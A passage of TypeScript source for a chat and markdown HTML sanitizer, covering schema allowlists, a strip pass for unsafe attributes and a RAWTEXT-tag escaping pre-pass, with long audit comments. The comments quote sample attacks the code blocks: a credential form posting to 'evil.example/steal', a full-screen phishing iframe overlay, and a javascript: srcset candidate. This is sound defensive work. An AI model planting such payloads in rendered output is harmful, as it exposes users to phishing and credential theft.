'fontSize',\n  'fontFamily',\n  'fontWeight',\n  'fontStyle',\n  'fontStretch',\n  'textAnchor',\n  'dominantBaseline',\n  'alignmentBaseline',\n  'letterSpacing',\n  'dx',\n  'dy',\n  'markerEnd',\n  'markerMid',\n  'markerStart',\n  'gradientUnits',\n  'gradientTransform',\n  'patternUnits',\n  'maskUnits',\n  'preserveAspectRatio',\n  'clipPath',\n  'clipRule',\n  // `href` / `xlink:href` stay DELIBERATELY DISALLOWED on SVG elements:\n  // `<use href>` pulls in an external document fragment and the hast key\n  // (`xlinkHref`) is outside rehypeStripUnsafe's URL_ATTRS check, so it\n  // would be an unguarded URL sink. Consequence, stated plainly: PASTED\n  // ICON SPRITES THAT RELY ON `<use href=\"#id\">` RENDER EMPTY. Hand-drawn\n  // inline SVG (the audited real-content case) is unaffected.\n];\n\nexport interface BuildSanitizeSchemaOptions {\n  extraAllowedHtmlTags?: string[];\n}\n\n/**\n * The engine's sanitize schema: defaultSchema ∪ SAFE_HTML_TAGS ∪ extras.\n * - `extraAllowedHtmlTags` is unioned into tagNames here AND into the\n *   pre-pass set (buildEffectiveTagSet) — the coupled-allowlist invariant.\n * - `clobberPrefix: ''` + empty `clobber`: authored raw-HTML anchors\n *   (`<h2 id=\"…\">`) keep their ids so `[jump](#anchor)` deep-links work.\n *   (The renderer's own heading ids are injected at the React layer,\n *   post-rehype, and were never affected.)\n * - `card`/`mention` protocols registered for href so chat markers survive\n *   (the urlTransform below is the second gate).\n */\nexport function buildSanitizeSchema(options: BuildSanitizeSchemaOptions = {}) {\n  // Canonical spelling AND lowercase for every tag: parse5 emits SVG\n  // foreign-content tags camelCased (`linearGradient`), HTML tags\n  // lowercased — admitting both keeps the schema list a superset of the\n  // (lowercased) pre-pass set, so the two are equal case-insensitively.\n  const tagNames = new Set<string>();\n  for (const tag of effectiveTagList(options.extraAllowedHtmlTags)) {\n    tagNames.add(tag);\n    tagNames.add(tag.toLowerCase());\n  }\n\n  const attributes: Record<string, Array<string | [string, ...unknown[]]>> = {\n    ...(defaultSchema.attributes as Record<string, Array<string | [string, ...unknown[]]>>),\n  };\n  for (const [tag, attrs] of Object.entries(EXTRA_ATTRIBUTES)) {\n    attributes[tag] = [...(attributes[tag] ?? []), ...attrs];\n  }\n  for (const tag of SVG_TAGS) {\n    attributes[tag] = [...(attributes[tag] ?? []), ...SVG_ATTRIBUTES];\n    const lower = tag.toLowerCase();\n    if (lower !== tag) attributes[lower] = [...(attributes[lower] ?? []), ...SVG_ATTRIBUTES];\n  }\n\n  // MAKE THE PER-TAG LISTS ACTUALLY AUTHORITATIVE.\n  //\n  // `hast-util-sanitize` looks a property up in `attributes[tagName]` and, when\n  // it is ABSENT there, RETRIES against `attributes['*']` (see its\n  // `properties()`). A per-tag list therefore narrows nothing on its own — it\n  // only ADDS. defaultSchema (GitHub's schema) puts the whole form vocabulary\n  // on `*` — `action`, `method`, `encType`, `name`, `value`, `size`,\n  // `maxLength`, `readOnly`, `accept`, `multiple` — so the `input` entry above,\n  // documented as \"EXACTLY the GFM task-list contract and nothing else\", was\n  // inert: `<input name=\"password\" size=\"40\">` kept both attributes.\n  //\n  // Verified consequence before this filter: the markdown\n  //   <form action=\"https://evil.example/steal\" method=\"post\">\n  //     <input name=\"email\"><input name=\"password\">\n  //     <button type=\"submit\">Sign in</button></form>\n  // rendered VERBATIM on the CHAT surface — a working cross-origin credential\n  // form inside trusted app chrome, from untrusted model output, one click from\n  // submitting. `form` has no per-tag entry at all, so it took `action`/`method`\n  // straight from `*`.\n  //\n  // Stripping these from `*` leaves every legitimate use intact, because the\n  // tags that genuinely need them declare them per-tag (`button`, `select`,\n  // `option`, `textarea` for `name`/`value`, `input` for `checked`).\n  //\n  // The two non-form uses that in principle relied on `*` — `<a name=\"anchor\">`\n  // and `<li value=\"3\">` — were checked and need NO re-declaration: the base\n  // `a` / `li` renderers build their own elements and never forwarded either\n  // attribute, so neither reached the DOM before this filter (verified by\n  // reverting it). Pinned by ./__tests__/sanitize-render.test.tsx so the fact\n  // stays recorded rather than re-derived.\n  const STAR_FORM_ATTRIBUTES = new Set([\n    'action',\n    'method',\n    'encType',\n    'name',\n    'value',\n    'size',\n    'maxLength',\n    'readOnly',\n    'accept',\n    'acceptCharset',\n    'multiple',\n    'prompt',\n  ]);\n  attributes['*'] = (attributes['*'] ?? []).filter(attr => {\n    const key = Array.isArray(attr) ? attr[0] : attr;\n    return !STAR_FORM_ATTRIBUTES.has(key);\n  });\n\n  // SVG-only tags are pinned to an `svg` ancestor (canonical AND lowercase\n  // spelling, matching the tagNames treatment above) so a bare `<title>` /\n  // `<text>` / `<g>` in prose is DROPPED instead of hijacking the page.\n  const ancestors: Record<string, string[]> = {\n    ...(defaultSchema.ancestors as Record<string, string[]> | undefined),\n  };\n  for (const [tag, required] of Object.entries(SVG_ONLY_ANCESTORS)) {\n    ancestors[tag] = required;\n    ancestors[tag.toLowerCase()] = required;\n  }\n\n  // `required.input` is CLEARED — see the `input` note in EXTRA_ATTRIBUTES.\n  // defaultSchema force-adds `type=\"checkbox\" disabled` to every `<input>`,\n  // rewriting authored text inputs into fake disabled checkboxes; remark-gfm\n  // already emits both properties on real task-list items, so nothing is\n  // lost. The attribute allowlist pins `type` to the literal `checkbox`.\n  const required: Record<string, Record<string, unknown>> = {\n    ...(defaultSchema.required as Record<string, Record<string, unknown>> | undefined),\n  };\n  delete required.input;\n\n  return {\n    ...defaultSchema,\n    tagNames: [...tagNames],\n    attributes,\n    ancestors,\n    required,\n    clobberPrefix: '',\n    clobber: [],\n    protocols: {\n      ...defaultSchema.protocols,\n      href: [...(defaultSchema.protocols?.href ?? []), 'card', 'mention'],\n    },\n  };\n}\n\n// ---------------------------------------------------------------------------\n// rehypeStripUnsafe — defense-in-depth strip pass (kept verbatim from the\n// pre-unification SimpleMarkdownRenderer)\n// ---------------------------------------------------------------------------\nconst EVENT_HANDLER_ATTR_RE = /^on[a-z]+$/i;\n\n/**\n * CSS declarations that take an element OUT of the document flow, i.e. the\n * primitive every UI-redress payload needs. Matched per declaration (the\n * `style` attribute is split on `;` first), so decorative styling on the same\n * element is preserved. `inset` and the individual offsets are included because\n * `position` alone is not the only lever — a `position:sticky` left behind with\n * `top:0;z-index:…` still floats content over the page.\n */\nconst POSITIONING_DECL_RE =\n  /(?:^|[\\s;])(?:position|z-index|inset(?:-block|-inline)?(?:-start|-end)?|top|right|bottom|left)\\s*:/i;\nconst JAVASCRIPT_URL_RE = /^[\\s\\x00-\\x1f]*javascript:/i;\nconst DATA_URL_RE = /^[\\s\\x00-\\x1f]*data:/i;\nconst URL_ATTRS = new Set([\n  'href',\n  'src',\n  'srcset',\n  'formaction',\n  'xlink:href',\n  'poster',\n  'data',\n  'action',\n  'background',\n  // The embed shortcodes' primary url (`data-url` -> `dataUrl`) — it\n  // becomes an anchor href (\"Open in Claude\") and a link-preview fetch\n  // target, so a `javascript:`/`data:` scheme there is a live sink too.\n  'dataurl',\n]);\n\n/**\n * Returns true if any candidate in an `srcset` attribute has a dangerous\n * URL scheme. srcset is a comma-separated candidate list — a single-URL\n * check would miss a malicious second candidate\n * (`\"https://safe.png 1x, javascript:alert(1) 2x\"`). Over-splitting on\n * commas inside URL paths over-strips, which is the correct error bias.\n */\nfunction srcsetHasUnsafeCandidate(srcset: string): boolean {\n  for (const candidate of srcset.split(',')) {\n    const url = candidate.trim().split(/\\s+/)[0] ?? '';\n    if (JAVASCRIPT_URL_RE.test(url) || DATA_URL_RE.test(url)) return true;\n  }\n  return false;\n}\n\nconst STRIP_ELEMENTS = new Set(['script', 'style', 'noscript', 'noembed', 'object', 'embed', 'applet', 'base', 'meta']);\n\n/**\n * Returns `properties` with the unsafe attributes dropped or rewritten, or the\n * ORIGINAL object when nothing had to change.\n *\n * Copy-on-write: the clone is allocated only once a key actually has to move,\n * so a clean element keeps its own properties object — and, via\n * `scrubElement`, its node identity.\n */\nfunction scrubProperties(properties: Properties, tag: string): Properties {\n  if (!properties || typeof properties !== 'object') return properties;\n\n  let next: Properties | undefined;\n\n  for (const key of Object.keys(properties)) {\n    const lower = key.toLowerCase();\n    const raw = properties[key];\n\n    if (EVENT_HANDLER_ATTR_RE.test(key)) {\n      next ??= { ...properties };\n      delete next[key];\n      continue;\n    }\n    if (URL_ATTRS.has(lower)) {\n      const v = Array.isArray(raw) ? raw[0] : raw;\n      if (typeof v === 'string') {\n        const unsafe =\n          lower === 'srcset' ? srcsetHasUnsafeCandidate(v) : JAVASCRIPT_URL_RE.test(v) || DATA_URL_RE.test(v);\n        if (unsafe) {\n          next ??= { ...properties };\n          delete next[key];\n          continue;\n        }\n      }\n    }\n    if (tag === 'iframe' && lower === 'srcdoc') {\n      next ??= { ...properties };\n      delete next[key];\n      continue;\n    }\n    // OVERLAY / UI-REDRESS GUARD. `style` is allowed (a content audit found\n    // real published posts relying on it for `div.takeaway`, table styling\n    // and reddit blockquotes), but the positioning subset of CSS is not a\n    // decoration — it is a way to lift untrusted markup out of the message\n    // body and put it over the whole application. Verified before this\n    // guard: a single chat message containing\n    //   <iframe src=\"https://evil.example/phish\"\n    //           style=\"position:fixed;top:0;left:0;width:100vw;height:100vh;\n    //                  z-index:2147483647\">\n    // rendered an attacker-controlled cross-origin document covering the\n    // entire viewport above every piece of app chrome (toasts at z-9999\n    // included); the `<span style=\"position:fixed;inset:0\">` variant does the\n    // same with no frame at all. Chat content is model output, so this is\n    // reachable from untrusted input.\n    //\n    // Only the escape-the-flow declarations are dropped, and per-declaration\n    // rather than by discarding the whole attribute, so ordinary decorative\n    // styling on the same element survives. THE TRADE-OFF, STATED: authored\n    // content that legitimately wanted `position:sticky` (a pinned table\n    // header, say) loses it — deliberately, because there is no way to tell\n    // it apart from the redress payload at this layer, and a sticky header is\n    // a smaller loss than a full-page phishing surface.\n    if (lower === 'style' && typeof raw === 'string' && POSITIONING_DECL_RE.test(raw)) {\n      const cleaned = raw\n        .split(';')\n        .filter(decl => !POSITIONING_DECL_RE.test(decl))\n        .join(';')\n        .trim();\n      next ??= { ...properties };\n      if (cleaned === '' || cleaned === ';') delete next[key];\n      else next[key] = cleaned;\n    }\n  }\n\n  return next ?? properties;\n}\n\n/**\n * `undefined` when the element is strip-listed (the caller drops it, subtree\n * and all); otherwise the element with its attributes scrubbed and its\n * children rebuilt. Returns the ORIGINAL node when nothing changed.\n */\nfunction scrubElement(node: Element): Element | undefined {\n  const tag = String(node.tagName ?? '').toLowerCase();\n  if (STRIP_ELEMENTS.has(tag)) return undefined;\n  const properties = scrubProperties(node.properties, tag);\n  const children = scrubElementChildren(node.children);\n  if (properties === node.properties && children === node.children) return node;\n  return { ...node, properties, children };\n}\n\nfunction scrubElementChildren(children: ElementContent[]): ElementContent[] {\n  const out: ElementContent[] = [];\n  let changed = false;\n  for (const child of children) {\n    if (child.type !== 'element') {\n      out.push(child);\n      continue;\n    }\n    const kept = scrubElement(child);\n    if (kept === undefined) {\n      changed = true;\n      continue;\n    }\n    if (kept !== child) changed = true;\n    out.push(kept);\n  }\n  return changed ? out : children;\n}\n\n/**\n * Defense-in-depth strip pass: drops the never-safe elements outright and\n * scrubs event handlers, unsafe URL schemes, `iframe[srcdoc]` and the\n * positioning subset of `style` off everything else.\n *\n * A pure rebuild rather than an in-place walk. `rehype-raw` and\n * `rehype-sanitize` — the two passes immediately before this one in\n * engine.tsx — are both non-mutating transformers that return a fresh tree,\n * and unified threads a returned tree into the next plugin, so this matches\n * the pipeline it sits in. Untouched nodes come back by identity, so only the\n * spine above an actual edit is reallocated.\n *\n * Equivalent to the previous `unist-util-visit` version: the scrub is a pure\n * function of a single node (no cross-node state), so traversal order cannot\n * affect the result, and dropping a strip-listed element here removes exactly\n * the subtree the old `splice`-then-`return index` removed.\n */\nexport function rehypeStripUnsafe() {\n  return (tree: Root): Root => {\n    const out: RootContent[] = [];\n    let changed = false;\n    for (const child of tree.children) {\n      if (child.type !== 'element') {\n        out.push(child);\n        continue;\n      }\n      const kept = scrubElement(child);\n      if (kept === undefined) {\n        changed = true;\n        continue;\n      }\n      if (kept !== child) changed = true;\n      out.push(kept);\n    }\n    return changed ? { ...tree, children: out } : tree;\n  };\n}\n\n// ---------------------------------------------------------------------------\n// escapeUnknownHtmlTags — TEXT pre-pass (React 19 crash guard)\n// ---------------------------------------------------------------------------\n// ReDoS-safe shape (CodeQL polynomial-regex hardening): every quantifier is\n// hard-bounded (tag name ≤63 chars, attrs ≤4096) so matching is\n// constant-time per tag. Anything longer falls through as plain text —\n// the safe-degrade behavior for HTML-in-markdown.\nconst TAG_LIKE_REGEX = /<(\\/?)([a-zA-Z][a-zA-Z0-9-]{0,63})((?:\\s[^>]{0,4096}?)?)(\\/?)>/g;\n\n/**\n * Tags whose HTML content model is RAWTEXT / RCDATA / PLAINTEXT: once parse5\n * sees the start tag, EVERYTHING up to the matching end tag (or, if there is\n * none, to end of input) is consumed as that element's text — headings,\n * paragraphs, list items and all.\n *\n * The tokenizer runs BEFORE the sanitizer, so an allowlist entry (or an\n * `ancestors` pin, as `title` got in round 2) cannot undo the damage: by the\n * time the schema is consulted, the rest of the message is already a single\n * text node hanging off the wrong element. Observed with the unclosed forms:\n *   `<textarea>` → the remainder of the message becomes the editable value\n *                  of a live textarea\n *   `<iframe>`   → the remainder is swallowed into an `about:blank` frame\n *   `<title>`    → the remainder de-structures (headings stop being headings)\n * Any chat message or post that merely MENTIONS one of these in prose — an\n * LLM explaining HTML forms will — mangles everything after it.\n *\n * The TEXT pre-pass is the layer built for exactly this: it runs before\n * parse5 and is purely textual. An opening tag from this set is escaped\n * unless its matching `</tag>` appears LATER in the source, in which case the\n * RAWTEXT span is bounded and the element renders normally (see the\n * `closed-*` fixtures). This check is deliberately independent of the\n * allowlist — it constrains tags the sanitizer WOULD keep.\n */\nconst RAWTEXT_TAGS = new Set(['title', 'textarea', 'iframe', 'xmp', 'noembed', 'noframes', 'plaintext']);\n\n/**\n * Fenced code blocks and inline code spans — the regions whose `<tags>` are\n * literal content and must survive the escaping pass verbatim.\n *\n * Drives the escaping CARVE in `escapeUnknownHtmlTags`. It is deliberately\n * NARROWER than what the MASK now understands: the mask is the security\n * boundary (too-narrow ⇒ a live `<textarea>` swallows the document) while the\n * carve is cosmetic (too-narrow ⇒ a code sample renders as escaped text), so\n * they are allowed to differ — but only in that direction, and that is now\n * ENFORCED rather than assumed: `escapeUnknownHtmlTags` protects only the\n * INTERSECTION of carve and mask, so a span this regex over-detects is escaped\n * instead of sheltered. See the CARVE DECISION note on `buildCloserHaystack`.\n *\n * Deliberately NARROWER than `createFenceTracker`'s CommonMark notion: this is\n * a flat regex over source TEXT with no line-state, so it only recognizes a\n * fence that is CLOSED by a same-marker run. That is the correct bias here —\n * an unclosed fence leaves its body UNPROTECTED, so a `<textarea>` inside it\n * gets escaped (visible as escaped text) rather than left live. Using the real\n * tracker would mean re-deriving character offsets from line state for a pass\n * that is explicitly not a security boundary; the narrow form fails safe.\n * `~{3,}` and the CommonMark 0..3-space indent ARE handled (they were not\n * before: a `~~~` block containing `<textarea>` rendered as escaped text).\n *\n * The MASK does NOT use this regex's fence alternative at all any more — see\n * `buildCloserHaystack`, which derives its code regions from the real\n * `createFenceTracker` (plus indented / blockquoted / commented code). Only the\n * INLINE-CODE region is derived separately, by `findInlineCodeRanges` below —\n * which is no longer a regex and no longer shares this one's length cap.\n */\nconst PROTECTED_SPAN_RE = /^ {0,3}(`{3,}|~{3,})[\\s\\S]*?^ {0,3}\\1[^\\n]*$|(`+)[^\\n]{0,4096}?\\2/gm;\n\n/**\n * The INLINE-CODE half of `PROTECTED_SPAN_RE`, on its own — the mask's only\n * non-line-state code region. Everything block-level (fences, indented code,\n * blockquoted code, HTML comments) is derived from line state instead, because\n * a flat regex cannot express CommonMark's closer rules: `PROTECTED_SPAN_RE`\n * ends a fenced span at the FIRST same-marker run even when that run carries an\n * info string (```` ```html ````), which CommonMark forbids on a closer — so the\n * span ended early and the real code content was left unmasked.\n *\n * NO LENGTH CAP, AND NO REGEX (round 16 — SECURITY). This used to be\n * `` /(`+)[^\\n]{0,4096}?\\1/g ``, sharing `PROTECTED_SPAN_RE`'s 4096-char\n * ReDoS bound. An inline span LONGER than the cap matched NEITHER regex, so the\n * mask simply skipped it — leaving a `</textarea>` written inside that span\n * VISIBLE in the closer haystack, `hasLaterCloser` true, the prose opener LIVE,\n * and parse5 swallowing the rest of the message as the textarea's value.\n * A clean cliff, padding length the only variable: span content ≤4094 chars ⇒\n * blanked, opener escaped, 0 live textareas; ≥4099 ⇒ closer visible, 1 live\n * textarea. That is a fail-OPEN in the security boundary, and it contradicts\n * this module's own contract that every mask approximation \"rounds towards\n * blanking\".\n *\n * THE BOUND COULD NOT SIMPLY BE DROPPED. `[^\\n]` confines backtracking to one\n * LINE, but a single line is not a small input — a chat message can be one.\n * MEASURED (round 16, this repo's vitest env, one line of nothing but\n * backticks — the pathological shape; figures from plain node are within 3%):\n *\n *   input        capped regex        uncapped regex      this linear scan\n *   50K chars    295 ms  (5.9 µs/c)    615 ms (12.3 µs/c)   0.69 ms (14 ns/c)\n *   200K chars  1220 ms  (6.1 µs/c)   9772 ms (48.9 µs/c)   0.42 ms  (2 ns/c)\n *   800K chars  5072 ms  (6.3 µs/c) 158263 ms (198 µs/c)          — (node)\n *\n * The capped regex is flat per char (linear, huge constant); the UNCAPPED one\n * is plainly QUADRATIC — 31x the capped cost at 800KB and still climbing. Every\n * other shape probed (lone tick + text, `` `` `` + text, one tick per 32 chars,\n * one tick per line) is ≈2-4 ns/char in BOTH regex spellings, so the blowup is\n * specific to long backtick runs — which an attacker controls. The cap was load\n * bearing; the REGEX is what had to go. A realistic 260KB backtick-dense\n * message (`Use `foo` and `bar` here.` × 10000) scans in 4.2 ms.\n *\n * `findInlineCodeRanges` is a LINEAR index scan that reproduces the old\n * regex's match semantics exactly (verified by differential fuzz against the\n * uncapped regex) with no backtracking and no cap: per line it collects the\n * backtick RUNS, then for each opener run of length `n` picks the largest\n * closer length `k ≤ n` that occurs later on the line — either inside the same\n * run (needs `n ≥ 2k`, mirroring the regex giving back backticks from a greedy\n * `` (`+) ``) or at the earliest following run of length ≥ k — and takes the\n * EARLIEST such position (the lazy quantifier). The forward walk is amortized\n * O(1) per run because the scan cursor jumps past every run it skipped.\n *\n * `PROTECTED_SPAN_RE` (the CARVE) KEEPS its cap, deliberately: the two\n * consumers round in OPPOSITE directions, see the note on\n * `escapeLeftoverTagStarts`. In the carve, \"not known to be code\" means ESCAPE,\n * so an over-cap span there costs a code sample rendered as escaped text.\n */\nconst BACKTICK_CODE = 0x60;\n\n/**\n * PARAGRAPH SEGMENTS, NOT LINES (round 18 — SECURITY). A CommonMark code span\n * CROSSES LINE BREAKS: `` `foo\\n</textarea>` `` is one `inlineCode` node, so\n * that `</textarea>` is a code sample and not a closer — yet this scan (and\n * `PROTECTED_SPAN_RE`, whose body class is `[^\\n]`) was strictly PER LINE, so\n * the mask never saw the span, the closer stayed visible in the haystack,\n * `hasLaterCloser` returned true, and a prose `<textarea>` above it stayed LIVE\n * (`escapeUnknownHtmlTags` returned the input BYTE-IDENTICAL; the renderer\n * emitted `<code>foo </textarea></code>` — proving the closer is a code sample\n * — beside a live textarea swallowing the prose). This is the shape that is not\n * a CONTAINER at all, so no container sweep could ever have reached it.\n *\n * A code span CANNOT cross a paragraph break, so the scan unit is a maximal run\n * of non-blank lines. Blank lines still terminate a segment, which keeps the\n * fail-CLOSED direction (an unterminated opener consumes at most its own\n * paragraph, never the rest of the document) and keeps the bound linear — the\n * `suffMax` / cursor structure is unchanged, `\\n` is simply an ordinary\n * character inside a segment.\n *\n * `PROTECTED_SPAN_RE` (the CARVE) is deliberately left per-line: it rounds the\n * other way, so at worst a multi-line code sample renders as escaped text.\n */\nfunction findInlineCodeRanges(source: string): Array<[number, number]> {\n  const ranges: Array<[number, number]> = [];\n  const len = source.length;\n  let pos = 0;\n  while (pos <= len) {\n    // Grow one PARAGRAPH SEGMENT: the maximal run of non-blank lines starting\n    // at or after `pos`. `segStart`/`segEnd` bound it; blank lines never enter.\n    let segStart = -1;\n    let segEnd = -1;\n    while (pos <= len) {\n      let end = source.indexOf('\\n', pos);\n      if (end === -1) end = len;\n      const blank = isBlankLine(source.slice(pos, end));\n      if (blank && segStart !== -1) break;\n      if (!blank) {\n        if (segStart === -1) segStart = pos;\n        segEnd = end;\n      }\n      pos = end === len ? len + 1 : end + 1;\n    }\n    if (segStart === -1) break;\n    const lineStart = segStart;\n    const lineEnd = segEnd;\n    const runStart: number[] = [];\n    const runLen: number[] = [];\n    for (let i = lineStart; i < lineEnd; i++) {\n      if (source.charCodeAt(i) !== BACKTICK_CODE) continue;\n      let j = i + 1;\n      while (j < lineEnd && source.charCodeAt(j) === BACKTICK_CODE) j++;\n      runStart.push(i);\n      runLen.push(j - i);\n      i = j - 1;\n    }\n    const n = runStart.length;\n    if (n > 0) {\n      // suffMax[t] = longest run at or after t; 0 past the end.\n      const suffMax = new Array<number>(n + 1).fill(0);\n      for (let t = n - 1; t >= 0; t--) suffMax[t] = Math.max(runLen[t], suffMax[t + 1]);\n      let cursor = lineStart;\n      let idx = 0;\n      while (idx < n) {\n        const runEnd = runStart[idx] + runLen[idx];\n        // The scan resumes at the END of the previous match, which can land\n        // MID-RUN — exactly as the global regex's `lastIndex` did. The\n        // REMAINDER of the run is then an opener in its own right (`` `a`` ``\n        // matches twice), so clamp rather than skip.\n        if (runEnd <= cursor) {\n          idx++;\n          continue;\n        }\n        const p = Math.max(runStart[idx], cursor);\n        const openLen = runEnd - p;\n        // Largest closer length reachable via a LATER run, and via THIS one.\n        const kLater = Math.min(openLen, suffMax[idx + 1]);\n        const kSame = openLen >> 1;\n        const k = Math.max(kLater, kSame);\n        // No match is possible only when this is the last run and it is a\n        // single backtick — every longer run closes on itself, so advancing by\n        // one character (what the regex does) cannot find one either.\n        if (k < 1) {\n          cursor = runEnd;\n          idx++;\n          continue;\n        }\n        let q = kSame >= k ? p + k : -1;\n        if (q === -1)\n          for (let t = idx + 1; t < n; t++)\n            if (runLen[t] >= k) {\n              q = runStart[t];\n              break;\n            }\n        ranges.push([p, q + k]);\n        cursor = q + k;\n      }\n    }\n  }\n  return ranges;\n}\n\n/** Exported for the differential fuzz against the retired regex. */\nexport const __findInlineCodeRangesForTest = findInlineCodeRanges;\n\n/**\n * ASCII-ONLY case fold. `String.prototype.toLowerCase()` is NOT\n * length-preserving: U+0130 (Turkish dotted capital `İ`) expands to `i` +\n * U+0307 (1 code unit → 2). It is the only BMP character that does so, and it\n * is ordinary Turkish prose (`İstanbul`, `İzmir`) — so a message with enough\n * of them ahead of a `<textarea>` shifted the whole haystack later than the\n * `segmentOffset + index + match.length` the caller computes from the ORIGINAL\n * text, `hasLaterCloser` began scanning in a window strictly BEFORE the\n * opener, matched an already-consumed `</textarea>`, and left the opener LIVE\n * — reopening the RAWTEXT swallow the mask exists to close.\n *\n * Tag names are ASCII by definition (`TAG_LIKE_REGEX` only matches\n * `[a-zA-Z][a-zA-Z0-9-]*`), so folding ASCII alone loses nothing.\n * `buildCloserHaystack(src).length === src.length` is asserted over the whole\n * fixture corpus in the parity test — that invariant is the actual guard.\n */\nfunction foldAsciiCase(text: string): string {\n  return text.replace(/[A-Z]/g, c => String.fromCharCode(c.charCodeAt(0) + 32));\n}\n\n/**\n * ---------------------------------------------------------------------------\n * MASK-ONLY code-region blanking (never the carve)\n * ---------------------------------------------------------------------------\n * All of the blanking passes below share one contract:\n *\n *  - they SCAN `source` (the folded but otherwise unmasked copy) and APPLY the\n *    resulting ranges to `masked`. That split is LOAD-BEARING: the inline-code\n *    pass chews a pair of backticks off an unclosed ```` ``` ```` opener (the\n *    opener run gives back backticks until a single one matches the next one as\n *    its closer), so a fence scan over the masked copy sees no fence at all. Both\n *    strings have identical indices, so offsets transfer verbatim.\n *    `blankComments` is the ONE deliberate exception (it is fed the masked\n *    copy, and runs last) — see its docblock for why the reasoning inverts.\n *  - they are LENGTH-PRESERVING (every non-newline char in a range becomes a\n *    space), because `escapeOutsideFences` indexes the mask with offsets it\n *    computed from the ORIGINAL text.\n *  - they fail CLOSED. Blanking too much can only make `hasLaterCloser` return\n *    false, i.e. ESCAPE a RAWTEXT opener that could have stayed live; blanking\n *    too little leaves a prose `<textarea>` live and lets parse5 swallow the\n *    rest of the message. Every approximation here therefore rounds towards\n *    blanking.\n *\n * ---------------------------------------------------------------------------\n * THE SAFETY CLAIM IS LINE COVERAGE, NOT PASS COMPOSITION (round 18)\n * ---------------------------------------------------------------------------\n * Round 17 claimed this class was \"closed by proof\" and offered a PASS CALL\n * MATRIX — which pass invokes which — as the proof. That was the wrong\n * property, and round 18 found the eighth instance anyway. The matrix shows the\n * passes COMPOSE SYMMETRICALLY; it says nothing about whether every line of the\n * document is actually EXAMINED. Round 18's defect lived inside a pass that the\n * matrix lists as present and symmetric (`blankListItemCode` calls and is called\n * by `blankQuotedCode`): the pass simply never put the LIST-MARKER LINE into any\n * run, so that one line was examined by nobody. A symmetric call graph over an\n * incomplete line set is still incomplete. Do not restate the matrix as the\n * safety argument.\n *\n * ---------------------------------------------------------------------------\n * THE TABLE IS THE AUDITABLE ARTIFACT — AND TWO OF ITS ENTRIES WERE FALSE\n * ---------------------------------------------------------------------------\n * Round 19 audited the table below rather than the code, and found two entries\n * literally untrue. Both were LOAD-BEARING: the `blankListItemCode` entry\n * justified a `top >= 4` gate that hid three live instances (narrow `- ` / `1. `\n * marker lines), and the `blankLinkDefinitions` entry's \"absorbs … ONE list\n * marker\" justified never re-cutting nested markers. A table entry that is not\n * LITERALLY TRUE is worse than no table: it converts an unexamined line into a\n * documented decision. When you change a pass, restate what it NOW claims and\n * re-derive every other entry from the code — do not copy the previous wording\n * forward.\n *\n * THE INVARIANT THAT ACTUALLY MATTERS:\n *\n *   For every line L of the document and every block-level construct that can\n *   OPEN on L, some pass must examine L at L's own CONTENT COLUMN — the column\n *   at which CommonMark itself would begin parsing L, after every enclosing\n *   container prefix (blockquote markers, list-item content columns) has been\n *   consumed. \"Examined\" means the line is a member of that pass's scanned run,\n *   cut at that column; being merely SKIPPED OVER while state is updated does\n *   not count. Constructs that are not line-anchored at all (inline code spans,\n *   HTML comments, link reference definitions, inline link/image payloads) are\n *   covered instead by a CONTAINER-AGNOSTIC pass that runs once over the whole\n *   document.\n *\n *   AND: every region that CommonMark turns into an ATTRIBUTE OR AN IDENTIFIER\n *   rather than document text is a shelter of the same kind, whether or not it\n *   is line-anchored. A reference definition's destination/title and an INLINE\n *   link's destination/title are the same thing to remark — both become\n *   href/title and never appear as HTML — so both need a pass. Round 19 found\n *   the inline half entirely uncovered; it then implemented that generalization\n *   for only the PARENTHESISED half of the constructs the generalization names,\n *   and round 20 found the BRACKETED half — an image's alt, a reference label, a\n *   footnote label — uncovered in exactly the same way.\n *\n *   So the checklist for a newly supported construct is: which of its text does\n *   remark consume into an attribute or an identifier — INCLUDING bracket text\n *   under `!` and reference/footnote labels — rather than emit as document HTML?\n *   Every such region needs a pass. The complement matters just as much: text\n *   remark DOES emit (an inline link's `[…]`, a bare shortcut reference's\n *   `[…]`) must stay VISIBLE, because a closer written there is real.\n *\n *   AND: a length cap or a parse failure inside any of these passes must BLANK,\n *   never SKIP. `-1`-on-cap is the fail-OPEN shape `ba4a526b` closed for\n *   over-cap inline code spans and round 20 found reintroduced in\n *   `parseInlineLinkPayload` and the link-definition regexes. A cap is a\n *   BLANKING BOUNDARY: blank up to it. Only a genuinely unparseable SHAPE may\n *   decline, and only because remark will not read it as a link either.\n *\n *   THAT RULE WAS STATED AND NOT STRUCTURALLY ENFORCED, so every new parser\n *   re-litigated it and sometimes lost: `ba4a526b` (over-cap code spans), round\n *   20 (payload + definition CAPS), round 21 (the definition SHAPES the same\n *   round left behind). It is now enforced by SHAPE rather than by discipline —\n *   the container-agnostic passes have exactly TWO stages, and the stage\n *   decides the fail direction:\n *\n *     RECOGNITION — \"is this the construct at all?\" MAY decline, and must,\n *     because every recognition decline is a spelling CommonMark ALSO refuses:\n *     remark emits the text as HTML, so a closer written in it is REAL and\n *     blanking it would over-escape a genuine element.\n *\n *     CONSUMPTION — \"the construct was recognized\" may NEVER decline. Every\n *     give-up routes through ONE channel per pass, whose DEFAULT is blanking to\n *     the construct's CommonMark bound (the next blank line):\n *     `blankInlineLinkPayloads` → `paragraphEnd`, `blankLinkDefinitions` →\n *     `blankLinesToParagraphBound`. A pass cannot \"forget\" to blank, because\n *     the give-up path IS the blanking path; there is no `return -1` reachable\n *     after commitment.\n *\n *   EXIT-PATH TABLE — every exit of the FOUR passes that can decline,\n *   classified. Keep it accurate when you touch them; an unclassified exit is\n *   the next instance.\n *\n *   THE RULE THAT PRODUCED THIS ROUND: A NEW PASS MUST LAND IN BOTH TABLES —\n *   this one and \"WHICH LINES EACH PASS CLAIMS\" below — IN THE SAME COMMIT.\n *   Round 22 added `blankUnreferencedFootnotes` to the pipeline with an entry in\n *   NEITHER, and it is the pass that shipped a live fail-open (round 23: PASS 1\n *   counted PHANTOM references, so a definition holding a `</textarea>` stayed\n *   in the haystack and the opener above it stayed live, in ten spellings).\n *   These two tables have caught six literally-false or missing claims across\n *   six rounds; they are the instrument, and the round that skipped them is the\n *   round that regressed. Filling them in is not documentation, it is the audit.\n *\n *   blankLinkDefinitions\n *     R  no `[` on the line / `LINK_DEF_OPEN_RE` fails  → not a definition line.\n *     R  `\\[^` (GFM footnote), REFERENCED                → BLOCK-parsed body, may\n *                                                        hold real HTML (r19).\n *                                                        Only when the label is\n *                                                        REFERENCED: r22 found\n *                                                        the decline fail-OPEN\n *                                                        for the unreferenced\n *                                                        case, which\n *                                                        